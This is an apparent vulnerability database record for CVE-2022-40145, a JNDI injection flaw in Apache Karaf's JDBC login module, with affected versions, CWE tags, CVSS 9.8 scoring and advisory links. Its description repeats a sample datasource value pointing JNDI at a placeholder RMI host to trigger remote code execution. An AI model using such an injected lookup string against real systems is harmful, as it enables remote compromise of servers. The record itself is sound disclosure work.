GSD-2022-40145

Vulnerability from gsd - Updated: 2023-12-13 01:19
Details
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
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Aliases
CVE-2022-40145
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{
  "GSD": {
    "alias": "CVE-2022-40145",
    "id": "GSD-2022-40145"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2022-40145"
      ],
      "details": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8",
      "id": "GSD-2022-40145",
      "modified": "2023-12-13T01:19:31.136684Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
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      "CVE_data_meta": {
        "ASSIGNER": "security@apache.org",
        "ID": "CVE-2022-40145",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "Apache Karaf",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "=",
                          "version_value": "4.4.0"
                        },
                        {
                          "version_affected": "=",
                          "version_value": "0"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "Apache Software Foundation"
            }
          ]
        }
      },
      "credits": [
        {
          "lang": "en",
          "value": "Xun Bai \u003cbbbbear68@gmail.com\u003e"
        }
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      "description": {
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            "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"
          }
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                "lang": "eng",
                "value": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)"
              }
            ]
          },
          {
            "description": [
              {
                "cweId": "CWE-20",
                "lang": "eng",
                "value": "CWE-20 Improper Input Validation"
              }
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        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://karaf.apache.org/security/cve-2022-40145.txt",
            "refsource": "MISC",
            "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
          }
        ]
      },
      "source": {
        "defect": [
          "KARAF-7568"
        ],
        "discovery": "EXTERNAL"
      }
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "(,4.3.8),[4.4.0,4.4.2)",
          "affected_versions": "All versions before 4.3.8, all versions starting from 4.4.0 before 4.4.2",
          "cwe_ids": [
            "CWE-1035",
            "CWE-20",
            "CWE-74",
            "CWE-78",
            "CWE-937"
          ],
          "date": "2022-12-21",
          "description": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` use `InitialContext.lookup(jndiName)` without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8",
          "fixed_versions": [
            "4.3.8",
            "4.4.2"
          ],
          "identifier": "CVE-2022-40145",
          "identifiers": [
            "GHSA-c2p4-8mvv-rwmv",
            "CVE-2022-40145"
          ],
          "not_impacted": "All versions starting from 4.3.8 before 4.4.0, all versions starting from 4.4.2",
          "package_slug": "maven/org.apache.karaf/apache-karaf",
          "pubdate": "2022-12-21",
          "solution": "Upgrade to versions 4.3.8, 4.4.2 or above.",
          "title": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
          "urls": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-40145",
            "https://karaf.apache.org/security/cve-2022-40145.txt",
            "https://github.com/apache/karaf/pull/1632",
            "https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1",
            "https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341",
            "https://issues.apache.org/jira/browse/KARAF-7568",
            "https://github.com/advisories/GHSA-c2p4-8mvv-rwmv"
          ],
          "uuid": "82d62855-16b5-46f6-81b4-b18538ce1b5c"
        },
        {
          "affected_range": "(,4.3.8),[4.4.0,4.4.2)",
          "affected_versions": "All versions before 4.3.8, all versions starting from 4.4.0 before 4.4.2",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "cwe_ids": [
            "CWE-1035",
            "CWE-937"
          ],
          "date": "2023-06-27",
          "description": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE,\"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8",
          "fixed_versions": [
            "4.3.8",
            "4.4.2"
          ],
          "identifier": "CVE-2022-40145",
          "identifiers": [
            "CVE-2022-40145"
          ],
          "not_impacted": "All versions starting from 4.3.8 before 4.4.0, all versions starting from 4.4.2",
          "package_slug": "maven/org.apache.karaf/karaf",
          "pubdate": "2022-12-21",
          "solution": "Upgrade to versions 4.3.8, 4.4.2 or above.",
          "title": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
          "urls": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-40145",
            "https://karaf.apache.org/security/cve-2022-40145.txt"
          ],
          "uuid": "4356b170-db58-42c8-b743-46b2b22896ea"
        }
      ]
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
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            "children": [],
            "cpe_match": [
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                "cpe23Uri": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndExcluding": "4.4.2",
                "versionStartIncluding": "4.4.0",
                "vulnerable": true
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                "cpe23Uri": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*",
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                "versionEndExcluding": "4.3.8",
                "vulnerable": true
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      "cve": {
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          "ID": "CVE-2022-40145"
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        "data_version": "4.0",
        "description": {
          "description_data": [
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              "lang": "en",
              "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"
            }
          ]
        },
        "problemtype": {
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                  "value": "NVD-CWE-Other"
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        "references": {
          "reference_data": [
            {
              "name": "https://karaf.apache.org/security/cve-2022-40145.txt",
              "refsource": "MISC",
              "tags": [
                "Vendor Advisory"
              ],
              "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "exploitabilityScore": 3.9,
          "impactScore": 5.9
        }
      },
      "lastModifiedDate": "2023-06-27T18:34Z",
      "publishedDate": "2022-12-21T16:15Z"
    }
  }
}


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